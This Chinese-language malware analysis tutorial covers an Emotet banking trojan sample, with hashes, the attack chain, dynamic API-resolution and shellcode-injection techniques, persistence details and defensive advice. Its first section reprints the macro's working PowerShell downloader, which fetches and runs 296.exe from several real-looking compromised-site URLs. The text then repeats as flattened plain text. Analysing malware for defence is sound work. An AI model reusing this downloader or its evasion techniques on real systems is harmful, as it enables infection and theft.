Emotet 银行木马 296.exe 病毒样本分析(一)
字数 1943 2025-08-06 18:07:33

Emotet银行木马样本分析教学文档

1. Emotet木马概述

Emotet是一种银行木马,首次发现于2014年6月,主要通过垃圾邮件传播,具有以下特点:

  • 变种极多,持续演化
  • 采用多阶段攻击链:宏文档 → 下载器 → 窃密程序
  • 使用多种混淆和反分析技术

2. 第一阶段:恶意宏文档分析

2.1 样本信息

  • HASH值:
    • SHA256: 1c3afd309d4861152d2c543ca46a7bb052901bdfd990b5c07e1cab509aab9272
    • MD5: d80d1322b4be9f19cb8efa7ecada7351
    • SHA1: be9efb37ebba29888e1e6451cc6294bde8c30d04

2.2 攻击流程

  1. 文档内容诱导用户启用宏
  2. 宏代码执行PowerShell脚本
  3. PowerShell从多个URL下载恶意程序(296.exe)并执行

2.3 关键PowerShell代码分析

$Sonlfmxfglg = 'Xyysnkiuyxo';
$Eczadxvec = '296';
$Mwbgorhryfhne = $env:userprofile+'\'+$Eczadxvec+'.exe';
$Lvbojolxvxm=.('new-object') Net.WebClient;
$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includes/ddy/*http://mojehaftom.com/wp-admin/1374xv/'.split('*');

foreach ($Qtswzgfskij in $Fvovadshhtbo){
    try {
        $Lvbojolxvxm."DownloadFile"($Qtswzgfskij, $Mwbgorhryfhne);
        If ((&('Get-Item') $Mwbgorhryfhne)."Length" -ge 29177) {
            [Diagnostics.Process]::"Start"($Mwbgorhryfhne);
            break;
        }
    } catch {}
}

3. 第二阶段:恶意下载器分析

3.1 样本信息

  • HASH值:
    • MD5: 0f973d998083c92b8863f62ae6a93ac0
    • SHA256: be403ce2d14f38b66528d438457927218f1aa44a68530bf46b2703da75dcc8bd
    • SHA1: d27590b402b475ae11a93f2976c2de595ab1eac9

3.2 攻击流程

  1. 注册表干扰操作
  2. 动态获取DLL和函数地址
  3. 从资源中抽取恶意代码
  4. 多层ShellCode注入
  5. 环境检测和持久化

3.3 技术细节分析

3.3.1 注册表干扰行为

样本操作以下注册表项,可能是干扰分析:

  • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  • Software\Microsoft\Windows\CurrentVersion\Policies\Network
  • Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

3.3.2 动态获取技术

手法一:get_funbase

  1. 定位PE头
  2. 从PE头中找到数据目录表,获取导出表RVA
  3. 获取NumberOfNames值构造循环
  4. 从AddressOfNames开始匹配函数名
  5. 通过索引号检索AddressOfNameOrdinals数组
  6. 查询AddressOfFunctions获取函数地址
  7. 加上DLL基址得到真实入口地址

手法二:get_dllbase

  • 根据PEB结构特征遍历获取DLL基址
  • 调用大写转换函数匹配DLL名

手法三:get_funbase2

  • 将get_dllbase和get_funbase功能合并
  • 遍历PEB结构的InLoadOrderModuleList获取DLL基址
  • 内嵌循环按函数名遍历导出表

手法四:match_hash_funaddress

  • 使用预定义函数名HASH
  • 动态计算HASH值进行匹配
  • 更具目的性,干扰性更强

3.3.3 多层ShellCode注入

第一层ShellCode

  • 加载CryptoAPI加密相关函数
  • 使用动态获取手法二
  • 包含空加密操作干扰分析

第二层ShellCode

  • 使用特定函数名HASH动态获取函数
  • 申请内存空间填充第三层ShellCode
  • 修改内存访问权限
  • 清除指令缓存

第三层ShellCode

  • 预定义大量函数名HASH
  • 使用动态获取手法四
  • 获取ntdll.dll和kernel32.dll函数地址
  • 检查进程路径和命令行参数
  • 不匹配则启动带预定义参数的新进程

3.3.4 持久化技术

  1. 计算文件CRC
  2. 检索系统信息
  3. 生成系统目标目录
  4. 复制文件到系统目录并重命名为deployacquire.exe
  5. 删除原始文件

4. 防御建议

  1. 宏安全:

    • 禁用Office宏或设置为高安全级别
    • 教育用户不要启用可疑文档中的宏
  2. 网络防护:

    • 拦截已知恶意域名
    • 监控异常下载行为
  3. 系统加固:

    • 限制PowerShell执行权限
    • 监控注册表异常修改
    • 启用行为检测对抗ShellCode注入
  4. 检测技术:

    • 关注多层ShellCode注入行为
    • 检测动态API获取技术
    • 监控异常进程创建和文件操作
  5. 应急响应:

    • 收集并分析IOC指标
    • 检查系统目录异常文件
    • 审查可疑进程和网络连接

5. 参考资源

  1. 《Windows PE权威指南》
  2. PEB结构分析技术
  3. 火绒实验室Emotet分析报告
  4. 看雪论坛相关技术文章

6. 后续分析方向

  1. 第三阶段窃密程序分析
  2. C2通信协议分析
  3. 持久化机制深入研究
  4. 对抗沙箱和虚拟机的技术细节
  5. 横向移动技术分析
Emotet银行木马样本分析教学文档 1. Emotet木马概述 Emotet是一种银行木马,首次发现于2014年6月,主要通过垃圾邮件传播,具有以下特点: 变种极多,持续演化 采用多阶段攻击链:宏文档 → 下载器 → 窃密程序 使用多种混淆和反分析技术 2. 第一阶段:恶意宏文档分析 2.1 样本信息 HASH值 : SHA256: 1c3afd309d4861152d2c543ca46a7bb052901bdfd990b5c07e1cab509aab9272 MD5: d80d1322b4be9f19cb8efa7ecada7351 SHA1: be9efb37ebba29888e1e6451cc6294bde8c30d04 2.2 攻击流程 文档内容诱导用户启用宏 宏代码执行PowerShell脚本 PowerShell从多个URL下载恶意程序(296.exe)并执行 2.3 关键PowerShell代码分析 3. 第二阶段:恶意下载器分析 3.1 样本信息 HASH值 : MD5: 0f973d998083c92b8863f62ae6a93ac0 SHA256: be403ce2d14f38b66528d438457927218f1aa44a68530bf46b2703da75dcc8bd SHA1: d27590b402b475ae11a93f2976c2de595ab1eac9 3.2 攻击流程 注册表干扰操作 动态获取DLL和函数地址 从资源中抽取恶意代码 多层ShellCode注入 环境检测和持久化 3.3 技术细节分析 3.3.1 注册表干扰行为 样本操作以下注册表项,可能是干扰分析: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Software\Microsoft\Windows\CurrentVersion\Policies\Network Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32 3.3.2 动态获取技术 手法一:get_ funbase 定位PE头 从PE头中找到数据目录表,获取导出表RVA 获取NumberOfNames值构造循环 从AddressOfNames开始匹配函数名 通过索引号检索AddressOfNameOrdinals数组 查询AddressOfFunctions获取函数地址 加上DLL基址得到真实入口地址 手法二:get_ dllbase 根据PEB结构特征遍历获取DLL基址 调用大写转换函数匹配DLL名 手法三:get_ funbase2 将get_ dllbase和get_ funbase功能合并 遍历PEB结构的InLoadOrderModuleList获取DLL基址 内嵌循环按函数名遍历导出表 手法四:match_ hash_ funaddress 使用预定义函数名HASH 动态计算HASH值进行匹配 更具目的性,干扰性更强 3.3.3 多层ShellCode注入 第一层ShellCode 加载CryptoAPI加密相关函数 使用动态获取手法二 包含空加密操作干扰分析 第二层ShellCode 使用特定函数名HASH动态获取函数 申请内存空间填充第三层ShellCode 修改内存访问权限 清除指令缓存 第三层ShellCode 预定义大量函数名HASH 使用动态获取手法四 获取ntdll.dll和kernel32.dll函数地址 检查进程路径和命令行参数 不匹配则启动带预定义参数的新进程 3.3.4 持久化技术 计算文件CRC 检索系统信息 生成系统目标目录 复制文件到系统目录并重命名为deployacquire.exe 删除原始文件 4. 防御建议 宏安全 : 禁用Office宏或设置为高安全级别 教育用户不要启用可疑文档中的宏 网络防护 : 拦截已知恶意域名 监控异常下载行为 系统加固 : 限制PowerShell执行权限 监控注册表异常修改 启用行为检测对抗ShellCode注入 检测技术 : 关注多层ShellCode注入行为 检测动态API获取技术 监控异常进程创建和文件操作 应急响应 : 收集并分析IOC指标 检查系统目录异常文件 审查可疑进程和网络连接 5. 参考资源 《Windows PE权威指南》 PEB结构分析技术 火绒实验室Emotet分析报告 看雪论坛相关技术文章 6. 后续分析方向 第三阶段窃密程序分析 C2通信协议分析 持久化机制深入研究 对抗沙箱和虚拟机的技术细节 横向移动技术分析